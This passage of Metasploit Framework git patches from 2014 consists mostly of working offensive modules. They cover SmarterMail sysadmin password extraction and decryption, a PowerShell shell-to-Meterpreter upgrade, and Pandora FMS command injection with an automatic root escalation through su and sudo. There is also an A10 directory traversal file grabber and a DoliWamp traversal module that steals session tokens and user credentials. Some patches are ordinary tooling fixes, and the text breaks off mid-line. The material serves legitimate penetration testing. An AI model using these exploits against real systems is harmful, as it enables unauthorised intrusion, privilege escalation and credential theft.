(#{sysinfo['Computer']}) - " + + 'Could not find SmarterMail config file' return end # retrieve username and decrypted password from config file - @username = nil - @password = nil - get_smartermail_creds(config_path) - if @password.nil? - print_error "#{@host} (#{@comp}) - Could not decrypt password string" + result = get_smartermail_creds(config_path) + if result['password'].nil? + print_error "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " + + 'Could not decrypt password string' return end # report result - print_good "#{@host} (#{@comp}) - Found credentials. Username: '#{@username}' Password: '#{@password}'" + print_good "#{session.sock.peerhost} (#{sysinfo['Computer']}) - Found credentials. " + + "Username: '#{result['username']}' Password: '#{result['password']}'" report_auth_info( - :host => @host, + :host => session.sock.peerhost, :sname => 'http', - :user => @username, - :pass => @password, + :user => result['username'], + :pass => result['password'], :source_id => session.db_record ? session.db_record.id : nil, :source_type => 'vuln') end From 6f93e3fb37af116da1ac83388c6b66241bd9beb0 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Sun, 2 Feb 2014 11:51:21 -0600 Subject: [PATCH 144/246] Modules shouldn't use Nokogiri Nokogiri has a habit of shipping vulnerable builds of libxml2. For example, see this: http://www.ubuntu.com/usn/usn-1904-1/ and compare to Nokogiri's bundled requirements: https://github.com/sparklemotion/nokogiri/blob/master/dependencies.yml While Nokogiri is quite pleasant to use, it really shouldn't be trusted to handle potentially malicious data. Imagine if a "vulnerable" target was actually a malicious honeypot, lying in wait for a poor Metasploit user to come along and parse out its payload. (OT: does such a thing have a clever name? If not, I propose "beehive" to imply the offensive capabilities of such a honeypot.) Nokogiri is used elsewhere in Metasploit, but those functions handle data sourced from the Metasploit user herself, so those XML hunks are nominally trustworthy. --- tools/msftidy.rb | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/tools/msftidy.rb b/tools/msftidy.rb index c6f54e80a5..bc763fbaa9 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -105,6 +105,18 @@ class Msftidy end end + def check_nokogiri + msg = "Requiring Nokogiri in modules can be risky, use REXML instead." + has_nokogiri = false + @source.each_line do |line| + if line =~ /^\s*(require|load)\s+['"]nokogiri['"]/ + has_nokogiri = true + break + end + end + error(msg) if has_nokogiri + end + def check_ref_identifiers in_super = false in_refs = false @@ -489,6 +501,7 @@ def run_checks(full_filepath) tidy = Msftidy.new(full_filepath) tidy.check_mode tidy.check_shebang + tidy.check_nokogiri tidy.check_ref_identifiers tidy.check_old_keywords tidy.check_verbose_option From 95eb758642f04072f464e7b173f880bb9afea6d8 Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Sun, 2 Feb 2014 19:04:38 +0000 Subject: [PATCH 145/246] Initial commit --- lib/msf/core/post/file.rb | 30 +++++++----- .../windows/local/powershell_cmd_upgrade.rb | 49 +++++++++++++++++++ 2 files changed, 67 insertions(+), 12 deletions(-) create mode 100644 modules/exploits/windows/local/powershell_cmd_upgrade.rb diff --git a/lib/msf/core/post/file.rb b/lib/msf/core/post/file.rb index 7013b95832..1d148f7028 100644 --- a/lib/msf/core/post/file.rb +++ b/lib/msf/core/post/file.rb @@ -41,13 +41,14 @@ module Msf::Post::File return stat.directory? else if session.platform =~ /win/ - # XXX + f = cmd_exec("cmd.exe /C IF exist \"#{path}\\*\" ( echo true )") else f = session.shell_command_token("test -d '#{path}' && echo true") - return false if f.nil? or f.empty? - return false unless f =~ /true/ - return true end + + return false if f.nil? or f.empty? + return false unless f =~ /true/ + return true end end @@ -72,13 +73,17 @@ module Msf::Post::File return stat.file? else if session.platform =~ /win/ - # XXX + f = cmd_exec("cmd.exe /C IF exist \"#{path}\" ( echo true )") + if f =~ /true/ + f = cmd_exec("cmd.exe /C IF exist \"#{path}\\\\\" ( echo false ) ELSE ( echo true )") + end else f = session.shell_command_token("test -f '#{path}' && echo true") - return false if f.nil? or f.empty? - return false unless f =~ /true/ - return true end + + return false if f.nil? or f.empty? + return false unless f =~ /true/ + return true end end @@ -93,13 +98,14 @@ module Msf::Post::File return !!(stat) else if session.platform =~ /win/ - # XXX + f = cmd_exec("cmd.exe /C IF exist \"#{path}\" ( echo true )") else f = session.shell_command_token("test -e '#{path}' && echo true") - return false if f.nil? or f.empty? - return false unless f =~ /true/ - return true end + + return false if f.nil? or f.empty? + return false unless f =~ /true/ + return true end end diff --git a/modules/exploits/windows/local/powershell_cmd_upgrade.rb b/modules/exploits/windows/local/powershell_cmd_upgrade.rb new file mode 100644 index 0000000000..4a328b6b9a --- /dev/null +++ b/modules/exploits/windows/local/powershell_cmd_upgrade.rb @@ -0,0 +1,49 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Exploit::Powershell + include Post::File + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Command Shell Upgrade (Powershell)', + 'Description' => %q{ + This module executes Powershell to upgrade a Windows Shell session + to a full Meterpreter session. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' + ], + 'DefaultOptions' => + { + 'WfsDelay' => 10, + }, + 'DisclosureDate' => 'Jan 01 1999', + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'shell' ], + 'Targets' => [ [ 'Universal', {} ] ], + 'DefaultTarget' => 0 + )) + end + + def exploit + psh_path = "\\WindowsPowerShell\\v1.0\\powershell.exe" + + if file? "%WINDIR%\\System32#{psh_path}" + print_status("Executing powershell command line...") + cmd_exec(cmd_psh_payload(payload.encoded)) + else + fail_with(Exploit::Failure::NotVulnerable, "No powershell available.") + end + end + +end + From e50077844c5e903c6d181e6a33ffd1b9f46ea7f9 Mon Sep 17 00:00:00 2001 From: Joe Vennix <joev@metasploit.com> Date: Sun, 2 Feb 2014 17:26:48 -0600 Subject: [PATCH 146/246] Expand path in metasm_shell#file. --- tools/metasm_shell.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/tools/metasm_shell.rb b/tools/metasm_shell.rb index 68f8126db1..c2610105b3 100755 --- a/tools/metasm_shell.rb +++ b/tools/metasm_shell.rb @@ -127,6 +127,7 @@ class String end def parse_gas_file(filename) + filename = File.expand_path(filename) unless ::File.exist?(filename) puts "File #{filename} not found" return From 2b2194cee81d50ee4bd7b6e771ca30172e261050 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Sun, 2 Feb 2014 21:58:10 -0600 Subject: [PATCH 147/246] Modify prints --- .../windows/gather/credentials/smartermail.rb | 41 +++++++++---------- 1 file changed, 19 insertions(+), 22 deletions(-) diff --git a/modules/post/windows/gather/credentials/smartermail.rb b/modules/post/windows/gather/credentials/smartermail.rb index eac200f4cb..a73c4f99ed 100644 --- a/modules/post/windows/gather/credentials/smartermail.rb +++ b/modules/post/windows/gather/credentials/smartermail.rb @@ -1,15 +1,13 @@ -# -*- coding: utf-8 -*- ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## + require 'msf/core' require 'msf/core/auxiliary/report' -require 'rex' class Metasploit3 < Msf::Post include Msf::Auxiliary::Report - include Msf::Post::File def initialize(info = {}) super(update_info( @@ -19,12 +17,13 @@ class Metasploit3 < Msf::Post This module extracts and decrypts the sysadmin password in the SmarterMail 'mailConfig.xml' configuration file. The encryption key and IV are publicly known. + This module has been tested successfully on SmarterMail versions 10.7.4842 and 11.7.5136. }, 'License' => MSF_LICENSE, 'Author' => [ - 'Joe Giron @theonlyevil1', # Discovery and PoC + 'Joe Giron', # Discovery and PoC (@theonlyevil1) 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit ], 'References' => @@ -36,6 +35,10 @@ class Metasploit3 < Msf::Post )) end + def peer + "#{session.sock.peerhost} (#{sysinfo['Computer']})" + end + # # Decrypt DES encrypted password string # @@ -56,12 +59,10 @@ class Metasploit3 < Msf::Post ['Program Files (x86)', 'Program Files'].each do |program_dir| begin path = "#{drive}\\#{program_dir}\\SmarterTools\\SmarterMail\\Service\\mailConfig.xml" - vprint_status "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " + - "Checking for SmarterMail config file: #{path}" + vprint_status "#{peer} - Checking for SmarterMail config file: #{path}" return path if client.fs.file.stat(path) rescue Rex::Post::Meterpreter::RequestError => e - print_error "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " + - "Could not load #{path} - #{e}" + print_error "#{peer} - Could not load #{path} - #{e}" return end end @@ -72,18 +73,15 @@ class Metasploit3 < Msf::Post # def get_smartermail_creds(path) result = {} - vprint_status "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " + - 'Retrieving SmarterMail sysadmin password' + vprint_status "#{peer} - Retrieving SmarterMail sysadmin password" begin data = read_file("#{path}") || '' rescue Rex::Post::Meterpreter::RequestError => e - print_error "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " + - "Failed to download #{path} - #{e}" + print_error "#{peer} - Failed to download #{path} - #{e.to_s}" return end if data.nil? - print_error "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " + - 'Configuration file is empty.' + print_error "#{peer} - Configuration file is empty." return end username = data.match(/<sysAdminUserName>(.+)<\/sysAdminUserName>/) @@ -100,27 +98,26 @@ class Metasploit3 < Msf::Post # check for SmartMail config file config_path = check_smartermail if config_path.nil? - print_error "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " + - 'Could not find SmarterMail config file' + print_error "#{peer} - Could not find SmarterMail config file" return end # retrieve username and decrypted password from config file result = get_smartermail_creds(config_path) if result['password'].nil? - print_error "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " + - 'Could not decrypt password string' + print_error "#{peer} - Could not decrypt password string" return end # report result - print_good "#{session.sock.peerhost} (#{sysinfo['Computer']}) - Found credentials. " + - "Username: '#{result['username']}' Password: '#{result['password']}'" + user = result['username'] + pass = result['password'] + print_good "#{peer} - Found Username: '#{user}' Password: '#{pass}'" report_auth_info( :host => session.sock.peerhost, :sname => 'http', - :user => result['username'], - :pass => result['password'], + :user => user, + :pass => pass, :source_id => session.db_record ? session.db_record.id : nil, :source_type => 'vuln') end From 662fbf53b656d0aa2dbec3084c0c8a1d11578fac Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Sun, 2 Feb 2014 22:01:38 -0600 Subject: [PATCH 148/246] Update check_smartermail method Instead of using exception handling to determine the right path, the new method simply uses the file? method. It's also renamed as "get_mail_config_path" to properly describe its functionality. --- .../windows/gather/credentials/smartermail.rb | 24 +++++++++++-------- 1 file changed, 14 insertions(+), 10 deletions(-) diff --git a/modules/post/windows/gather/credentials/smartermail.rb b/modules/post/windows/gather/credentials/smartermail.rb index a73c4f99ed..9102450502 100644 --- a/modules/post/windows/gather/credentials/smartermail.rb +++ b/modules/post/windows/gather/credentials/smartermail.rb @@ -7,6 +7,8 @@ require 'msf/core' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post + + include Msf::Post::File include Msf::Auxiliary::Report def initialize(info = {}) @@ -54,18 +56,20 @@ class Metasploit3 < Msf::Post # # Find SmarterMail 'mailConfig.xml' config file # - def check_smartermail + def get_mail_config_path + found_path = '' drive = session.fs.file.expand_path('%SystemDrive%') + ['Program Files (x86)', 'Program Files'].each do |program_dir| - begin - path = "#{drive}\\#{program_dir}\\SmarterTools\\SmarterMail\\Service\\mailConfig.xml" - vprint_status "#{peer} - Checking for SmarterMail config file: #{path}" - return path if client.fs.file.stat(path) - rescue Rex::Post::Meterpreter::RequestError => e - print_error "#{peer} - Could not load #{path} - #{e}" - return + path = "#{drive}\\#{program_dir}\\SmarterTools\\SmarterMail\\Service\\mailConfig.xml" + vprint_status "#{peer} - Checking for SmarterMail config file: #{path}" + if file?(path) + found_path = path + break end end + + found_path end # @@ -96,8 +100,8 @@ class Metasploit3 < Msf::Post # def run # check for SmartMail config file - config_path = check_smartermail - if config_path.nil? + config_path = get_mail_config_path + if config_path.blank? print_error "#{peer} - Could not find SmarterMail config file" return end From ae84e354e8df5dbb425de0f62205af67790cb52c Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Sun, 2 Feb 2014 22:06:14 -0600 Subject: [PATCH 149/246] Be consistent with get_smartermail_creds method's return value --- .../post/windows/gather/credentials/smartermail.rb | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/modules/post/windows/gather/credentials/smartermail.rb b/modules/post/windows/gather/credentials/smartermail.rb index 9102450502..313a2e97af 100644 --- a/modules/post/windows/gather/credentials/smartermail.rb +++ b/modules/post/windows/gather/credentials/smartermail.rb @@ -77,17 +77,21 @@ class Metasploit3 < Msf::Post # def get_smartermail_creds(path) result = {} + data = '' + vprint_status "#{peer} - Retrieving SmarterMail sysadmin password" begin - data = read_file("#{path}") || '' + data = read_file("#{path}") rescue Rex::Post::Meterpreter::RequestError => e print_error "#{peer} - Failed to download #{path} - #{e.to_s}" - return + return result end - if data.nil? + + if data.blank? print_error "#{peer} - Configuration file is empty." - return + return result end + username = data.match(/<sysAdminUserName>(.+)<\/sysAdminUserName>/) password = data.match(/<sysAdminPassword>(.+)<\/sysAdminPassword>/) result['username'] = username[1] unless username.nil? From b9e234f62db762626b6eb8b72e75a90bbda77154 Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Sun, 2 Feb 2014 22:28:23 -0600 Subject: [PATCH 150/246] Log the size if it doesn't fit --- lib/msf/core/encoded_payload.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/encoded_payload.rb b/lib/msf/core/encoded_payload.rb index 47d94f0dea..5d9d420156 100644 --- a/lib/msf/core/encoded_payload.rb +++ b/lib/msf/core/encoded_payload.rb @@ -198,7 +198,7 @@ class EncodedPayload # Check to see if we have enough room for the minimum requirements if ((reqs['Space']) and (reqs['Space'] < eout.length + min)) - wlog("#{err_start}: Encoded payload version is too large with encoder #{encoder.refname}", + wlog("#{err_start}: Encoded payload version is too large (#{eout.length} bytes) with encoder #{encoder.refname}", 'core', LEV_1) next_encoder = true break From 0d02f6d5892f1ad26e3acda67ca125d7c2533e02 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Sun, 2 Feb 2014 23:37:26 -0600 Subject: [PATCH 151/246] Add support for win shells for file? --- lib/msf/core/post/file.rb | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/post/file.rb b/lib/msf/core/post/file.rb index 7013b95832..8a59d0a12c 100644 --- a/lib/msf/core/post/file.rb +++ b/lib/msf/core/post/file.rb @@ -72,7 +72,16 @@ module Msf::Post::File return stat.file? else if session.platform =~ /win/ - # XXX + out = session.shell_command_token("type \"#{path}\"").to_s.strip + # Possible error messages when opening a file, see: + # http://technet.microsoft.com/en-us/library/cc956687.aspx + if out =~ /^The system cannot find the path specified/ + return false + elsif out =~ /^The filename, directory name, or volume label syntax is incorrect/ + return false + else + return true + end else f = session.shell_command_token("test -f '#{path}' && echo true") return false if f.nil? or f.empty? From e54abb4274eba9066c6f2c64c39f18a7bc92bbd0 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Sun, 2 Feb 2014 23:37:56 -0600 Subject: [PATCH 152/246] Add support for shell session type --- .../windows/gather/credentials/smartermail.rb | 29 ++++++++++++++----- 1 file changed, 21 insertions(+), 8 deletions(-) diff --git a/modules/post/windows/gather/credentials/smartermail.rb b/modules/post/windows/gather/credentials/smartermail.rb index 313a2e97af..1a9e2530d3 100644 --- a/modules/post/windows/gather/credentials/smartermail.rb +++ b/modules/post/windows/gather/credentials/smartermail.rb @@ -25,20 +25,33 @@ class Metasploit3 < Msf::Post }, 'License' => MSF_LICENSE, 'Author' => [ - 'Joe Giron', # Discovery and PoC (@theonlyevil1) - 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit + 'Joe Giron', # Discovery and PoC (@theonlyevil1) + 'Brendan Coles <bcoles[at]gmail.com>', # Metasploit + 'sinn3r' # shell session support ], 'References' => [ ['URL', 'http://www.gironsec.com/blog/tag/cracking-smartermail/'] ], 'Platform' => ['win'], - 'SessionTypes' => ['meterpreter'] + 'SessionTypes' => ['meterpreter', 'shell'] )) end + def r_host + if session.type =~ /meterpreter/ + session.sock.peerhost + else + session.session_host + end + end + def peer - "#{session.sock.peerhost} (#{sysinfo['Computer']})" + if session.type =~ /meterpreter/ + "#{r_host} (#{sysinfo['Computer']})" + else + r_host + end end # @@ -58,10 +71,10 @@ class Metasploit3 < Msf::Post # def get_mail_config_path found_path = '' - drive = session.fs.file.expand_path('%SystemDrive%') + drive = expand_path('%SystemDrive%').strip ['Program Files (x86)', 'Program Files'].each do |program_dir| - path = "#{drive}\\#{program_dir}\\SmarterTools\\SmarterMail\\Service\\mailConfig.xml" + path = %Q|#{drive}\\#{program_dir}\\SmarterTools\\SmarterMail\\Service\\mailConfig.xml|.strip vprint_status "#{peer} - Checking for SmarterMail config file: #{path}" if file?(path) found_path = path @@ -81,7 +94,7 @@ class Metasploit3 < Msf::Post vprint_status "#{peer} - Retrieving SmarterMail sysadmin password" begin - data = read_file("#{path}") + data = read_file(path) rescue Rex::Post::Meterpreter::RequestError => e print_error "#{peer} - Failed to download #{path} - #{e.to_s}" return result @@ -122,7 +135,7 @@ class Metasploit3 < Msf::Post pass = result['password'] print_good "#{peer} - Found Username: '#{user}' Password: '#{pass}'" report_auth_info( - :host => session.sock.peerhost, + :host => r_host, :sname => 'http', :user => user, :pass => pass, From 2ee1764ceb23c406ac19dd9edc5e4e057f04e5e0 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 3 Feb 2014 01:05:43 -0600 Subject: [PATCH 153/246] Add method rhost, rport, and peer for post modules [SeeRM #8761] --- lib/msf/core/post/common.rb | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) diff --git a/lib/msf/core/post/common.rb b/lib/msf/core/post/common.rb index e6cce966f8..cab869d366 100644 --- a/lib/msf/core/post/common.rb +++ b/lib/msf/core/post/common.rb @@ -2,6 +2,28 @@ module Msf::Post::Common + def rhost + case session.type + when 'meterpreter' + session.sock.peerhost + when 'shell' + session.session_host + end + end + + def rport + case session.type + when 'meterpreter' + session.sock.peerport + when 'shell' + session.session_port + end + end + + def peer + "#{rhost}:#{rport}" + end + # # Checks if the remote system has a process with ID +pid+ # From 50f860757bc35c77231ff72b608566dcb58e065d Mon Sep 17 00:00:00 2001 From: xistence <xistence@0x90.nl> Date: Mon, 3 Feb 2014 14:10:27 +0700 Subject: [PATCH 154/246] Changes made to pandora_fms_exec module as requested --- .../exploits/linux/http/pandora_fms_exec.rb | 30 +++++++------------ 1 file changed, 11 insertions(+), 19 deletions(-) diff --git a/modules/exploits/linux/http/pandora_fms_exec.rb b/modules/exploits/linux/http/pandora_fms_exec.rb index e65eaf60d8..d24d4bef50 100644 --- a/modules/exploits/linux/http/pandora_fms_exec.rb +++ b/modules/exploits/linux/http/pandora_fms_exec.rb @@ -9,7 +9,6 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerEcho include Msf::Exploit::EXE def initialize(info={}) @@ -55,24 +54,17 @@ class Metasploit3 < Msf::Exploit::Remote [ Opt::RPORT(8023), OptString.new('TARGETURI', [true, 'The base path to the Pandora instance', '/']), - OptBool.new('PRIVESC', [true, 'Try to escalate privileges to root', false]) ], self.class) end def on_new_session(client) - if datastore['PRIVESC'] == true - print_status("#{peer} - Trying to escalate privileges to root") - # Spawn a pty for su/sudo - client.shell_command_token("python -c 'import pty;pty.spawn(\"/bin/sh\")'") - # Su to the passwordless "artica" account - client.shell_command_token("su - artica") - # The "artica" use has sudo rights without the need for a password, thus gain root priveleges - client.shell_command_token("sudo -s") - end - end - - def uri - return target_uri.path + print_status("#{peer} - Trying to escalate privileges to root") + # Spawn a pty for su/sudo + client.shell_command_token("python -c 'import pty;pty.spawn(\"/bin/sh\")'") + # Su to the passwordless "artica" account + client.shell_command_token("su - artica") + # The "artica" use has sudo rights without the need for a password, thus gain root priveleges + client.shell_command_token("sudo -s") end def peer @@ -85,12 +77,12 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(uri, "anyterm.html") + 'uri' => normalize_uri(target_uri.path, "anyterm.html") }) if res and res.code == 200 and res.body =~ /Pandora FMS Remote Gateway/ print_good("#{peer} - Pandora FMS Remote Gateway Detected!") - return Exploit::CheckCode::Unknown + return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe @@ -100,10 +92,10 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Sending payload") res = send_request_cgi({ 'method' => 'POST', - 'uri' => normalize_uri(uri, "/anyterm-module"), + 'uri' => normalize_uri(target_uri.path, "/anyterm-module"), 'vars_post' => { 'a' => "open", - 'p' => "`#{payload.raw}`" + 'p' => "`nohup #{payload.encoded}`" } }) From a92256e8d1c24558129927136b7dd68f50617cb9 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 3 Feb 2014 08:41:23 -0600 Subject: [PATCH 155/246] Clean a10networks_ax_directory_traversal --- .../a10networks_ax_directory_traversal.rb | 52 +++++++++---------- 1 file changed, 26 insertions(+), 26 deletions(-) diff --git a/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb b/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb index ad30f4b645..4b39b1508b 100644 --- a/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb @@ -13,21 +13,26 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'A10 Networks (Soft)AX Loadbalancer 2.6.1-GR1-P5 and 2.7.0 Directory Traversal', + 'Name' => 'A10 Networks AX Loadbalancer Directory Traversal', 'Description' => %q{ - This module exploits a directory traversal flaw found in A10 Networks (Soft) - AX loadbalancers version 2.6.1-GR1-P5/2.7.0 or less. When handling a file download request, - the xml/downloads class fails to properly check the 'filename' parameter, which - can be abused to read any file outside the virtual directory. Important files include SSL certificates. - This module works on both the hardware devices and the Virtual Machine appliances. - IMPORTANT NOTE: This will also delete the file on the device after downloading it. + This module exploits a directory traversal flaw found in A10 Networks + (Soft) AX Loadbalancer version 2.6.1-GR1-P5/2.7.0 or less. When + handling a file download request, the xml/downloads class fails to + properly check the 'filename' parameter, which can be abused to read + any file outside the virtual directory. Important files include SSL + certificates. This module works on both the hardware devices and the + Virtual Machine appliances. IMPORTANT NOTE: This will also delete the + file on the device after downloading it. }, 'References' => [ + ['OSVDB', '102657'], + ['BID', '65206'], + ['EDB', '31261'] ], 'Author' => [ - 'xistence', #Vulnerability discovery and Metasploit module + 'xistence' #Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'DisclosureDate' => "Jan 28 2014" @@ -35,7 +40,6 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptPort.new('RPORT', [true, 'The target port', 80]), OptString.new('TARGETURI', [true, 'The URI path to the web application', '/']), OptString.new('FILE', [true, 'The file to obtain', '/a10data/key/mydomain.tld']), OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10]) @@ -44,9 +48,6 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) - base = normalize_uri(target_uri.path) - base << '/' if base[-1,1] != '/' - peer = "#{ip}:#{rport}" fname = datastore['FILE'] @@ -54,20 +55,19 @@ class Metasploit3 < Msf::Auxiliary traverse = "../" * datastore['DEPTH'] res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{base}xml/downloads/", - 'vars_get' => { - 'filename' => "/a10data/tmp/#{traverse}#{datastore['FILE']}" - } + 'uri' => normalize_uri(target_uri.path, "xml", "downloads", ""), + 'vars_get' => + { + 'filename' => "/a10data/tmp/#{traverse}#{datastore['FILE']}" + } }) - if res and res.code == 500 and res.body =~ /Error report/ - print_error("#{peer} - Cannot obtain '#{fname}', here are some possible reasons:") - print_error("\t1. File does not exist.") - print_error("\t2. The server does not have any patches deployed.") - print_error("\t3. Your 'DEPTH' option isn't deep enough.") - print_error("\t4. Some kind of permission issues.") - + vprint_error("#{peer} - Cannot obtain '#{fname}', here are some possible reasons:") + vprint_error("\t1. File does not exist.") + vprint_error("\t2. The server does not have any patches deployed.") + vprint_error("\t3. Your 'DEPTH' option isn't deep enough.") + vprint_error("\t4. Some kind of permission issues.") elsif res and res.code == 200 data = res.body p = store_loot( @@ -77,12 +77,12 @@ class Metasploit3 < Msf::Auxiliary data, fname ) - vprint_line(data) print_good("#{peer} - #{fname} stored as '#{p}'") - + elsif res and res.code == 404 and res.body.to_s =~ /The requested URL.*was not found/ + vprint_error("#{peer} - File not found. Check FILE.") else - print_error("#{peer} - Fail to obtain file for some unknown reason") + vprint_error("#{peer} - Fail to obtain file for some unknown reason") end end From 9b9b2fab585cbd4aee5e2c8441b293a88dcf64af Mon Sep 17 00:00:00 2001 From: bcoles <bcoles@gmail.com> Date: Tue, 4 Feb 2014 02:00:11 +1030 Subject: [PATCH 156/246] Add DoliWamp 'jqueryFileTree.php' Traversal Gather Credentials module --- .../gather/doliwamp_traversal_creds.rb | 202 ++++++++++++++++++ 1 file changed, 202 insertions(+) create mode 100644 modules/auxiliary/gather/doliwamp_traversal_creds.rb diff --git a/modules/auxiliary/gather/doliwamp_traversal_creds.rb b/modules/auxiliary/gather/doliwamp_traversal_creds.rb new file mode 100644 index 0000000000..4e11f29069 --- /dev/null +++ b/modules/auxiliary/gather/doliwamp_traversal_creds.rb @@ -0,0 +1,202 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info( + info, + 'Name' => "DoliWamp 'jqueryFileTree.php' Traversal Gather Credentials", + 'Description' => %q{ + This module will extract user credentials from DoliWamp - a WAMP + packaged installer distribution for Dolibarr ERP on Windows - versions + 3.3.0 to 3.4.2 by hijacking a user's session. DoliWamp stores session + tokens in filenames in the 'tmp' directory. A directory traversal + vulnerability in 'jqueryFileTree.php' allows unauthenticated users + to retrieve session tokens by listing the contents of this directory. + Note: All tokens expire after 30 minutes of inactivity by default. + }, + 'License' => MSF_LICENSE, + 'Author' => 'Brendan Coles <bcoles[at]gmail.com>', + 'References' => + [ + ['URL' => 'https://doliforge.org/tracker/?func=detail&aid=1212&group_id=144'], + ['URL' => 'https://github.com/Dolibarr/dolibarr/commit/8642e2027c840752c4357c4676af32fe342dc0cb'] + ], + 'DisclosureDate' => 'Jan 12 2014')) + register_options( + [ + OptString.new('TARGETURI', [true, 'The path to Dolibarr', '/dolibarr/']), + OptString.new('TRAVERSAL_PATH', [true, 'The traversal path to the application tmp directory', '../../../../../../../../tmp/']) + ], self.class) + end + + # + # Find session tokens + # + def get_session_tokens + tokens = nil + print_status("#{peer} - Finding session tokens...") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri( + target_uri.path, + 'includes/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.php'), + 'cookie' => @cookie, + 'vars_post' => { 'dir' => datastore['TRAVERSAL_PATH'] } + }) + if !res + print_error("#{peer} - Connection failed") + elsif res.code == 404 + print_error("#{peer} - Could not find 'jqueryFileTree.php'") + elsif res.code == 200 and res.body =~ />sess_([a-z0-9]+)</ + tokens = res.body.scan(/>sess_([a-z0-9]+)</) + num_tokens = tokens.length.to_s.gsub(/(\d)(?=(\d\d\d)+(?!\d))/) { "#{$1}," } + print_good("#{peer} - Found #{num_tokens} session tokens") + else + print_error("#{peer} - Could not find any session tokens") + end + return tokens + end + + # + # Get user's credentials + # + def get_user_info(user_id) + vprint_status("#{peer} - Retrieving user's credentials") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'user/fiche.php'), + 'cookie' => @cookie, + 'vars_get' => Hash[{ + 'action' => 'edit', + 'id' => "#{user_id}" + }.to_a.shuffle] + }) + if !res + print_error("#{peer} - Connection failed") + elsif res.body =~ /User card/ + record = [ + res.body.scan(/name="login" value="([^"]+)"/ ).flatten.first, + res.body.scan(/name="password" value="([^"]+)"/ ).flatten.first, + res.body.scan(/name="superadmin" value="\d">(Yes|No)/ ).flatten.first, + res.body.scan(/name="email" class="flat" value="([^"]+)"/).flatten.first + ] + unless record.empty? + print_good("#{peer} - Found credentials (#{record[0]}:#{record[1]})") + return record + end + else + print_warning("#{peer} - Could not retrieve user credentials") + end + end + + # + # Verify if session cookie is valid and return user's ID + # + def get_user_id + # print_debug("#{peer} - Trying to hijack session '#{@cookie}'") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'user/fiche.php'), + 'cookie' => @cookie + }) + if !res + print_error("#{peer} - Connection failed") + elsif res.body =~ /<div class="login"><a href="[^"]*\/user\/fiche\.php\?id=(\d+)">/ + user_id = "#{$1}" + vprint_good("#{peer} - Hijacked session for user with ID '#{user_id}'") + return user_id + else + # print_debug("#{peer} - Could not hijack session. Session is invalid.") + end + end + + # + # Construct cookie using token + # + def create_cookie(token) + # print_debug("#{peer} - Creating a cookie with token '#{token}'") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'user/fiche.php'), + 'cookie' => "DOLSESSID_#{Rex::Text.rand_text_alphanumeric(10)}=#{token}" + }) + if !res + print_error("#{peer} - Connection failed") + elsif res.code == 200 and res.headers["set-cookie"] =~ 